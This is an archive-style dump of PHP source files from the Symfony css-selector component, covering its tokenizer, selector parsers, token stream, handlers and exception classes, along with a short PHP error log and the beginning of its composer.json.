* @internal */ class TokenizerEscaping { private TokenizerPatterns $patterns; public function __construct(TokenizerPatterns $patterns) { $this->patterns = $patterns; } public function escapeUnicode(string $value): string { $value = $this->replaceUnicodeSequences($value); return preg_replace($this->patterns->getSimpleEscapePattern(), '$1', $value); } public function escapeUnicodeAndNewLine(string $value): string { $value = preg_replace($this->patterns->getNewLineEscapePattern(), '', $value); return $this->escapeUnicode($value); } private function replaceUnicodeSequences(string $value): string { return preg_replace_callback($this->patterns->getUnicodeEscapePattern(), function ($match) { $c = hexdec($match[1]); if (0x80 > $c %= 0x200000) { return \chr($c); } if (0x800 > $c) { return \chr(0xC0 | $c >> 6).\chr(0x80 | $c & 0x3F); } if (0x10000 > $c) { return \chr(0xE0 | $c >> 12).\chr(0x80 | $c >> 6 & 0x3F).\chr(0x80 | $c & 0x3F); } return ''; }, $value); } } css-selector/Parser/Tokenizer/TokenizerPatterns.php000064400000005456151113511460016574 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Tokenizer; /** * CSS selector tokenizer patterns builder. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class TokenizerPatterns { private string $unicodeEscapePattern; private string $simpleEscapePattern; private string $newLineEscapePattern; private string $escapePattern; private string $stringEscapePattern; private string $nonAsciiPattern; private string $nmCharPattern; private string $nmStartPattern; private string $identifierPattern; private string $hashPattern; private string $numberPattern; private string $quotedStringPattern; public function __construct() { $this->unicodeEscapePattern = '\\\\([0-9a-f]{1,6})(?:\r\n|[ \n\r\t\f])?'; $this->simpleEscapePattern = '\\\\(.)'; $this->newLineEscapePattern = '\\\\(?:\n|\r\n|\r|\f)'; $this->escapePattern = $this->unicodeEscapePattern.'|\\\\[^\n\r\f0-9a-f]'; $this->stringEscapePattern = $this->newLineEscapePattern.'|'.$this->escapePattern; $this->nonAsciiPattern = '[^\x00-\x7F]'; $this->nmCharPattern = '[_a-z0-9-]|'.$this->escapePattern.'|'.$this->nonAsciiPattern; $this->nmStartPattern = '[_a-z]|'.$this->escapePattern.'|'.$this->nonAsciiPattern; $this->identifierPattern = '-?(?:'.$this->nmStartPattern.')(?:'.$this->nmCharPattern.')*'; $this->hashPattern = '#((?:'.$this->nmCharPattern.')+)'; $this->numberPattern = '[+-]?(?:[0-9]*\.[0-9]+|[0-9]+)'; $this->quotedStringPattern = '([^\n\r\f\\\\%s]|'.$this->stringEscapePattern.')*'; } public function getNewLineEscapePattern(): string { return '~'.$this->newLineEscapePattern.'~'; } public function getSimpleEscapePattern(): string { return '~'.$this->simpleEscapePattern.'~'; } public function getUnicodeEscapePattern(): string { return '~'.$this->unicodeEscapePattern.'~i'; } public function getIdentifierPattern(): string { return '~^'.$this->identifierPattern.'~i'; } public function getHashPattern(): string { return '~^'.$this->hashPattern.'~i'; } public function getNumberPattern(): string { return '~^'.$this->numberPattern.'~'; } public function getQuotedStringPattern(string $quote): string { return '~^'.sprintf($this->quotedStringPattern, $quote).'~i'; } } css-selector/Parser/Shortcut/EmptyStringParser.php000064400000002251151113511460016372 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Shortcut; use Symfony\Component\CssSelector\Node\ElementNode; use Symfony\Component\CssSelector\Node\SelectorNode; use Symfony\Component\CssSelector\Parser\ParserInterface; /** * CSS selector class parser shortcut. * * This shortcut ensure compatibility with previous version. * - The parser fails to parse an empty string. * - In the previous version, an empty string matches each tags. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class EmptyStringParser implements ParserInterface { public function parse(string $source): array { // Matches an empty string if ('' == $source) { return [new SelectorNode(new ElementNode(null, '*'))]; } return []; } } css-selector/Parser/Shortcut/ClassParser.php000064400000003027151113511460015154 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Shortcut; use Symfony\Component\CssSelector\Node\ClassNode; use Symfony\Component\CssSelector\Node\ElementNode; use Symfony\Component\CssSelector\Node\SelectorNode; use Symfony\Component\CssSelector\Parser\ParserInterface; /** * CSS selector class parser shortcut. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class ClassParser implements ParserInterface { public function parse(string $source): array { // Matches an optional namespace, optional element, and required class // $source = 'test|input.ab6bd_field'; // $matches = array (size=4) // 0 => string 'test|input.ab6bd_field' (length=22) // 1 => string 'test' (length=4) // 2 => string 'input' (length=5) // 3 => string 'ab6bd_field' (length=11) if (preg_match('/^(?:([a-z]++)\|)?+([\w-]++|\*)?+\.([\w-]++)$/i', trim($source), $matches)) { return [ new SelectorNode(new ClassNode(new ElementNode($matches[1] ?: null, $matches[2] ?: null), $matches[3])), ]; } return []; } } css-selector/Parser/Shortcut/HashParser.php000064400000003017151113511460014771 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Shortcut; use Symfony\Component\CssSelector\Node\ElementNode; use Symfony\Component\CssSelector\Node\HashNode; use Symfony\Component\CssSelector\Node\SelectorNode; use Symfony\Component\CssSelector\Parser\ParserInterface; /** * CSS selector hash parser shortcut. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class HashParser implements ParserInterface { public function parse(string $source): array { // Matches an optional namespace, optional element, and required id // $source = 'test|input#ab6bd_field'; // $matches = array (size=4) // 0 => string 'test|input#ab6bd_field' (length=22) // 1 => string 'test' (length=4) // 2 => string 'input' (length=5) // 3 => string 'ab6bd_field' (length=11) if (preg_match('/^(?:([a-z]++)\|)?+([\w-]++|\*)?+#([\w-]++)$/i', trim($source), $matches)) { return [ new SelectorNode(new HashNode(new ElementNode($matches[1] ?: null, $matches[2] ?: null), $matches[3])), ]; } return []; } } css-selector/Parser/Shortcut/ElementParser.php000064400000002507151113511460015502 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Shortcut; use Symfony\Component\CssSelector\Node\ElementNode; use Symfony\Component\CssSelector\Node\SelectorNode; use Symfony\Component\CssSelector\Parser\ParserInterface; /** * CSS selector element parser shortcut. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class ElementParser implements ParserInterface { public function parse(string $source): array { // Matches an optional namespace, required element or `*` // $source = 'testns|testel'; // $matches = array (size=3) // 0 => string 'testns|testel' (length=13) // 1 => string 'testns' (length=6) // 2 => string 'testel' (length=6) if (preg_match('/^(?:([a-z]++)\|)?([\w-]++|\*)$/i', trim($source), $matches)) { return [new SelectorNode(new ElementNode($matches[1] ?: null, $matches[2]))]; } return []; } } css-selector/Parser/Parser.php000064400000027767151113511460012374 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser; use Symfony\Component\CssSelector\Exception\SyntaxErrorException; use Symfony\Component\CssSelector\Node; use Symfony\Component\CssSelector\Parser\Tokenizer\Tokenizer; /** * CSS selector parser. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/scrapy/cssselect. * * @author Jean-François Simon * * @internal */ class Parser implements ParserInterface { private Tokenizer $tokenizer; public function __construct(Tokenizer $tokenizer = null) { $this->tokenizer = $tokenizer ?? new Tokenizer(); } public function parse(string $source): array { $reader = new Reader($source); $stream = $this->tokenizer->tokenize($reader); return $this->parseSelectorList($stream); } /** * Parses the arguments for ":nth-child()" and friends. * * @param Token[] $tokens * * @throws SyntaxErrorException */ public static function parseSeries(array $tokens): array { foreach ($tokens as $token) { if ($token->isString()) { throw SyntaxErrorException::stringAsFunctionArgument(); } } $joined = trim(implode('', array_map(fn (Token $token) => $token->getValue(), $tokens))); $int = function ($string) { if (!is_numeric($string)) { throw SyntaxErrorException::stringAsFunctionArgument(); } return (int) $string; }; switch (true) { case 'odd' === $joined: return [2, 1]; case 'even' === $joined: return [2, 0]; case 'n' === $joined: return [1, 0]; case !str_contains($joined, 'n'): return [0, $int($joined)]; } $split = explode('n', $joined); $first = $split[0] ?? null; return [ $first ? ('-' === $first || '+' === $first ? $int($first.'1') : $int($first)) : 1, isset($split[1]) && $split[1] ? $int($split[1]) : 0, ]; } private function parseSelectorList(TokenStream $stream): array { $stream->skipWhitespace(); $selectors = []; while (true) { $selectors[] = $this->parserSelectorNode($stream); if ($stream->getPeek()->isDelimiter([','])) { $stream->getNext(); $stream->skipWhitespace(); } else { break; } } return $selectors; } private function parserSelectorNode(TokenStream $stream): Node\SelectorNode { [$result, $pseudoElement] = $this->parseSimpleSelector($stream); while (true) { $stream->skipWhitespace(); $peek = $stream->getPeek(); if ($peek->isFileEnd() || $peek->isDelimiter([','])) { break; } if (null !== $pseudoElement) { throw SyntaxErrorException::pseudoElementFound($pseudoElement, 'not at the end of a selector'); } if ($peek->isDelimiter(['+', '>', '~'])) { $combinator = $stream->getNext()->getValue(); $stream->skipWhitespace(); } else { $combinator = ' '; } [$nextSelector, $pseudoElement] = $this->parseSimpleSelector($stream); $result = new Node\CombinedSelectorNode($result, $combinator, $nextSelector); } return new Node\SelectorNode($result, $pseudoElement); } /** * Parses next simple node (hash, class, pseudo, negation). * * @throws SyntaxErrorException */ private function parseSimpleSelector(TokenStream $stream, bool $insideNegation = false): array { $stream->skipWhitespace(); $selectorStart = \count($stream->getUsed()); $result = $this->parseElementNode($stream); $pseudoElement = null; while (true) { $peek = $stream->getPeek(); if ($peek->isWhitespace() || $peek->isFileEnd() || $peek->isDelimiter([',', '+', '>', '~']) || ($insideNegation && $peek->isDelimiter([')'])) ) { break; } if (null !== $pseudoElement) { throw SyntaxErrorException::pseudoElementFound($pseudoElement, 'not at the end of a selector'); } if ($peek->isHash()) { $result = new Node\HashNode($result, $stream->getNext()->getValue()); } elseif ($peek->isDelimiter(['.'])) { $stream->getNext(); $result = new Node\ClassNode($result, $stream->getNextIdentifier()); } elseif ($peek->isDelimiter(['['])) { $stream->getNext(); $result = $this->parseAttributeNode($result, $stream); } elseif ($peek->isDelimiter([':'])) { $stream->getNext(); if ($stream->getPeek()->isDelimiter([':'])) { $stream->getNext(); $pseudoElement = $stream->getNextIdentifier(); continue; } $identifier = $stream->getNextIdentifier(); if (\in_array(strtolower($identifier), ['first-line', 'first-letter', 'before', 'after'])) { // Special case: CSS 2.1 pseudo-elements can have a single ':'. // Any new pseudo-element must have two. $pseudoElement = $identifier; continue; } if (!$stream->getPeek()->isDelimiter(['('])) { $result = new Node\PseudoNode($result, $identifier); if ('Pseudo[Element[*]:scope]' === $result->__toString()) { $used = \count($stream->getUsed()); if (!(2 === $used || 3 === $used && $stream->getUsed()[0]->isWhiteSpace() || $used >= 3 && $stream->getUsed()[$used - 3]->isDelimiter([',']) || $used >= 4 && $stream->getUsed()[$used - 3]->isWhiteSpace() && $stream->getUsed()[$used - 4]->isDelimiter([',']) )) { throw SyntaxErrorException::notAtTheStartOfASelector('scope'); } } continue; } $stream->getNext(); $stream->skipWhitespace(); if ('not' === strtolower($identifier)) { if ($insideNegation) { throw SyntaxErrorException::nestedNot(); } [$argument, $argumentPseudoElement] = $this->parseSimpleSelector($stream, true); $next = $stream->getNext(); if (null !== $argumentPseudoElement) { throw SyntaxErrorException::pseudoElementFound($argumentPseudoElement, 'inside ::not()'); } if (!$next->isDelimiter([')'])) { throw SyntaxErrorException::unexpectedToken('")"', $next); } $result = new Node\NegationNode($result, $argument); } else { $arguments = []; $next = null; while (true) { $stream->skipWhitespace(); $next = $stream->getNext(); if ($next->isIdentifier() || $next->isString() || $next->isNumber() || $next->isDelimiter(['+', '-']) ) { $arguments[] = $next; } elseif ($next->isDelimiter([')'])) { break; } else { throw SyntaxErrorException::unexpectedToken('an argument', $next); } } if (!$arguments) { throw SyntaxErrorException::unexpectedToken('at least one argument', $next); } $result = new Node\FunctionNode($result, $identifier, $arguments); } } else { throw SyntaxErrorException::unexpectedToken('selector', $peek); } } if (\count($stream->getUsed()) === $selectorStart) { throw SyntaxErrorException::unexpectedToken('selector', $stream->getPeek()); } return [$result, $pseudoElement]; } private function parseElementNode(TokenStream $stream): Node\ElementNode { $peek = $stream->getPeek(); if ($peek->isIdentifier() || $peek->isDelimiter(['*'])) { if ($peek->isIdentifier()) { $namespace = $stream->getNext()->getValue(); } else { $stream->getNext(); $namespace = null; } if ($stream->getPeek()->isDelimiter(['|'])) { $stream->getNext(); $element = $stream->getNextIdentifierOrStar(); } else { $element = $namespace; $namespace = null; } } else { $element = $namespace = null; } return new Node\ElementNode($namespace, $element); } private function parseAttributeNode(Node\NodeInterface $selector, TokenStream $stream): Node\AttributeNode { $stream->skipWhitespace(); $attribute = $stream->getNextIdentifierOrStar(); if (null === $attribute && !$stream->getPeek()->isDelimiter(['|'])) { throw SyntaxErrorException::unexpectedToken('"|"', $stream->getPeek()); } if ($stream->getPeek()->isDelimiter(['|'])) { $stream->getNext(); if ($stream->getPeek()->isDelimiter(['='])) { $namespace = null; $stream->getNext(); $operator = '|='; } else { $namespace = $attribute; $attribute = $stream->getNextIdentifier(); $operator = null; } } else { $namespace = $operator = null; } if (null === $operator) { $stream->skipWhitespace(); $next = $stream->getNext(); if ($next->isDelimiter([']'])) { return new Node\AttributeNode($selector, $namespace, $attribute, 'exists', null); } elseif ($next->isDelimiter(['='])) { $operator = '='; } elseif ($next->isDelimiter(['^', '$', '*', '~', '|', '!']) && $stream->getPeek()->isDelimiter(['=']) ) { $operator = $next->getValue().'='; $stream->getNext(); } else { throw SyntaxErrorException::unexpectedToken('operator', $next); } } $stream->skipWhitespace(); $value = $stream->getNext(); if ($value->isNumber()) { // if the value is a number, it's casted into a string $value = new Token(Token::TYPE_STRING, (string) $value->getValue(), $value->getPosition()); } if (!($value->isIdentifier() || $value->isString())) { throw SyntaxErrorException::unexpectedToken('string or identifier', $value); } $stream->skipWhitespace(); $next = $stream->getNext(); if (!$next->isDelimiter([']'])) { throw SyntaxErrorException::unexpectedToken('"]"', $next); } return new Node\AttributeNode($selector, $namespace, $attribute, $operator, $value->getValue()); } } css-selector/Parser/TokenStream.php000064400000006364151113511460013362 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser; use Symfony\Component\CssSelector\Exception\InternalErrorException; use Symfony\Component\CssSelector\Exception\SyntaxErrorException; /** * CSS selector token stream. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class TokenStream { /** * @var Token[] */ private array $tokens = []; /** * @var Token[] */ private array $used = []; private int $cursor = 0; private ?Token $peeked; private bool $peeking = false; /** * Pushes a token. * * @return $this */ public function push(Token $token): static { $this->tokens[] = $token; return $this; } /** * Freezes stream. * * @return $this */ public function freeze(): static { return $this; } /** * Returns next token. * * @throws InternalErrorException If there is no more token */ public function getNext(): Token { if ($this->peeking) { $this->peeking = false; $this->used[] = $this->peeked; return $this->peeked; } if (!isset($this->tokens[$this->cursor])) { throw new InternalErrorException('Unexpected token stream end.'); } return $this->tokens[$this->cursor++]; } /** * Returns peeked token. */ public function getPeek(): Token { if (!$this->peeking) { $this->peeked = $this->getNext(); $this->peeking = true; } return $this->peeked; } /** * Returns used tokens. * * @return Token[] */ public function getUsed(): array { return $this->used; } /** * Returns next identifier token. * * @throws SyntaxErrorException If next token is not an identifier */ public function getNextIdentifier(): string { $next = $this->getNext(); if (!$next->isIdentifier()) { throw SyntaxErrorException::unexpectedToken('identifier', $next); } return $next->getValue(); } /** * Returns next identifier or null if star delimiter token is found. * * @throws SyntaxErrorException If next token is not an identifier or a star delimiter */ public function getNextIdentifierOrStar(): ?string { $next = $this->getNext(); if ($next->isIdentifier()) { return $next->getValue(); } if ($next->isDelimiter(['*'])) { return null; } throw SyntaxErrorException::unexpectedToken('identifier or "*"', $next); } /** * Skips next whitespace if any. */ public function skipWhitespace(): void { $peek = $this->getPeek(); if ($peek->isWhitespace()) { $this->getNext(); } } } css-selector/Parser/error_log000064400000001274151113511460012325 0ustar00[25-Nov-2025 03:03:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Parser.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Parser.php on line 28 [26-Nov-2025 01:21:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\ParserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Parser.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Parser.php on line 28 css-selector/Parser/Handler/HandlerInterface.php000064400000001410151113511460015664 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector handler interface. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ interface HandlerInterface { public function handle(Reader $reader, TokenStream $stream): bool; } css-selector/Parser/Handler/StringHandler.php000064400000004606151113511460015244 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Exception\InternalErrorException; use Symfony\Component\CssSelector\Exception\SyntaxErrorException; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\Token; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerEscaping; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerPatterns; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector comment handler. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class StringHandler implements HandlerInterface { private TokenizerPatterns $patterns; private TokenizerEscaping $escaping; public function __construct(TokenizerPatterns $patterns, TokenizerEscaping $escaping) { $this->patterns = $patterns; $this->escaping = $escaping; } public function handle(Reader $reader, TokenStream $stream): bool { $quote = $reader->getSubstring(1); if (!\in_array($quote, ["'", '"'])) { return false; } $reader->moveForward(1); $match = $reader->findPattern($this->patterns->getQuotedStringPattern($quote)); if (!$match) { throw new InternalErrorException(sprintf('Should have found at least an empty match at %d.', $reader->getPosition())); } // check unclosed strings if (\strlen($match[0]) === $reader->getRemainingLength()) { throw SyntaxErrorException::unclosedString($reader->getPosition() - 1); } // check quotes pairs validity if ($quote !== $reader->getSubstring(1, \strlen($match[0]))) { throw SyntaxErrorException::unclosedString($reader->getPosition() - 1); } $string = $this->escaping->escapeUnicodeAndNewLine($match[0]); $stream->push(new Token(Token::TYPE_STRING, $string, $reader->getPosition())); $reader->moveForward(\strlen($match[0]) + 1); return true; } } css-selector/Parser/Handler/NumberHandler.php000064400000002537151113511460015227 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\Token; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerPatterns; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector comment handler. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class NumberHandler implements HandlerInterface { private TokenizerPatterns $patterns; public function __construct(TokenizerPatterns $patterns) { $this->patterns = $patterns; } public function handle(Reader $reader, TokenStream $stream): bool { $match = $reader->findPattern($this->patterns->getNumberPattern()); if (!$match) { return false; } $stream->push(new Token(Token::TYPE_NUMBER, $match[0], $reader->getPosition())); $reader->moveForward(\strlen($match[0])); return true; } } css-selector/Parser/Handler/HashHandler.php000064400000003103151113511460014650 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\Token; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerEscaping; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerPatterns; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector comment handler. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class HashHandler implements HandlerInterface { private TokenizerPatterns $patterns; private TokenizerEscaping $escaping; public function __construct(TokenizerPatterns $patterns, TokenizerEscaping $escaping) { $this->patterns = $patterns; $this->escaping = $escaping; } public function handle(Reader $reader, TokenStream $stream): bool { $match = $reader->findPattern($this->patterns->getHashPattern()); if (!$match) { return false; } $value = $this->escaping->escapeUnicode($match[1]); $stream->push(new Token(Token::TYPE_HASH, $value, $reader->getPosition())); $reader->moveForward(\strlen($match[0])); return true; } } css-selector/Parser/Handler/CommentHandler.php000064400000002115151113511460015371 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector comment handler. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class CommentHandler implements HandlerInterface { public function handle(Reader $reader, TokenStream $stream): bool { if ('/*' !== $reader->getSubstring(2)) { return false; } $offset = $reader->getOffset('*/'); if (false === $offset) { $reader->moveToEnd(); } else { $reader->moveForward($offset + 2); } return true; } } css-selector/Parser/Handler/IdentifierHandler.php000064400000003125151113511460016053 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\Token; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerEscaping; use Symfony\Component\CssSelector\Parser\Tokenizer\TokenizerPatterns; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector comment handler. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class IdentifierHandler implements HandlerInterface { private TokenizerPatterns $patterns; private TokenizerEscaping $escaping; public function __construct(TokenizerPatterns $patterns, TokenizerEscaping $escaping) { $this->patterns = $patterns; $this->escaping = $escaping; } public function handle(Reader $reader, TokenStream $stream): bool { $match = $reader->findPattern($this->patterns->getIdentifierPattern()); if (!$match) { return false; } $value = $this->escaping->escapeUnicode($match[0]); $stream->push(new Token(Token::TYPE_IDENTIFIER, $value, $reader->getPosition())); $reader->moveForward(\strlen($match[0])); return true; } } css-selector/Parser/Handler/WhitespaceHandler.php000064400000002202151113511460016060 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\Token; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector whitespace handler. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class WhitespaceHandler implements HandlerInterface { public function handle(Reader $reader, TokenStream $stream): bool { $match = $reader->findPattern('~^[ \t\r\n\f]+~'); if (false === $match) { return false; } $stream->push(new Token(Token::TYPE_WHITESPACE, $match[0], $reader->getPosition())); $reader->moveForward(\strlen($match[0])); return true; } } css-selector/Parser/Token.php000064400000004733151113511460012204 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser; /** * CSS selector token. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class Token { public const TYPE_FILE_END = 'eof'; public const TYPE_DELIMITER = 'delimiter'; public const TYPE_WHITESPACE = 'whitespace'; public const TYPE_IDENTIFIER = 'identifier'; public const TYPE_HASH = 'hash'; public const TYPE_NUMBER = 'number'; public const TYPE_STRING = 'string'; private ?string $type; private ?string $value; private ?int $position; public function __construct(?string $type, ?string $value, ?int $position) { $this->type = $type; $this->value = $value; $this->position = $position; } public function getType(): ?int { return $this->type; } public function getValue(): ?string { return $this->value; } public function getPosition(): ?int { return $this->position; } public function isFileEnd(): bool { return self::TYPE_FILE_END === $this->type; } public function isDelimiter(array $values = []): bool { if (self::TYPE_DELIMITER !== $this->type) { return false; } if (!$values) { return true; } return \in_array($this->value, $values); } public function isWhitespace(): bool { return self::TYPE_WHITESPACE === $this->type; } public function isIdentifier(): bool { return self::TYPE_IDENTIFIER === $this->type; } public function isHash(): bool { return self::TYPE_HASH === $this->type; } public function isNumber(): bool { return self::TYPE_NUMBER === $this->type; } public function isString(): bool { return self::TYPE_STRING === $this->type; } public function __toString(): string { if ($this->value) { return sprintf('<%s "%s" at %s>', $this->type, $this->value, $this->position); } return sprintf('<%s at %s>', $this->type, $this->position); } } css-selector/Parser/Reader.php000064400000003612151113511460012321 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser; /** * CSS selector reader. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class Reader { private string $source; private int $length; private int $position = 0; public function __construct(string $source) { $this->source = $source; $this->length = \strlen($source); } public function isEOF(): bool { return $this->position >= $this->length; } public function getPosition(): int { return $this->position; } public function getRemainingLength(): int { return $this->length - $this->position; } public function getSubstring(int $length, int $offset = 0): string { return substr($this->source, $this->position + $offset, $length); } /** * @return int|false */ public function getOffset(string $string): int|bool { $position = strpos($this->source, $string, $this->position); return false === $position ? false : $position - $this->position; } public function findPattern(string $pattern): array|false { $source = substr($this->source, $this->position); if (preg_match($pattern, $source, $matches)) { return $matches; } return false; } public function moveForward(int $length): void { $this->position += $length; } public function moveToEnd(): void { $this->position = $this->length; } } css-selector/Exception/ExceptionInterface.php000064400000001123151113511460015373 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Exception; /** * Interface for exceptions. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon */ interface ExceptionInterface extends \Throwable { } css-selector/Exception/ParseException.php000064400000001176151113511460014555 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Exception; /** * ParseException is thrown when a CSS selector syntax is not valid. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Fabien Potencier */ class ParseException extends \Exception implements ExceptionInterface { } css-selector/Exception/ExpressionErrorException.php000064400000001201151113511460016641 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Exception; /** * ParseException is thrown when a CSS selector syntax is not valid. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon */ class ExpressionErrorException extends ParseException { } css-selector/Exception/InternalErrorException.php000064400000001177151113511460016272 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Exception; /** * ParseException is thrown when a CSS selector syntax is not valid. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon */ class InternalErrorException extends ParseException { } css-selector/Exception/SyntaxErrorException.php000064400000003311151113511460015774 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Exception; use Symfony\Component\CssSelector\Parser\Token; /** * ParseException is thrown when a CSS selector syntax is not valid. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon */ class SyntaxErrorException extends ParseException { public static function unexpectedToken(string $expectedValue, Token $foundToken): self { return new self(sprintf('Expected %s, but %s found.', $expectedValue, $foundToken)); } public static function pseudoElementFound(string $pseudoElement, string $unexpectedLocation): self { return new self(sprintf('Unexpected pseudo-element "::%s" found %s.', $pseudoElement, $unexpectedLocation)); } public static function unclosedString(int $position): self { return new self(sprintf('Unclosed/invalid string at %s.', $position)); } public static function nestedNot(): self { return new self('Got nested ::not().'); } public static function notAtTheStartOfASelector(string $pseudoElement): self { return new self(sprintf('Got immediate child pseudo-element ":%s" not at the start of a selector', $pseudoElement)); } public static function stringAsFunctionArgument(): self { return new self('String not allowed as function argument.'); } } css-selector/composer.json000064400000001453151113511460011675 0ustar00{ "name": "symfony/css-selector", "type": "library", "description": "Converts CSS selectors to XPath expressions", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Jean-François Simon", "email": "jeanfrancois.simon@sensiolabs.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1" }, "autoload": { 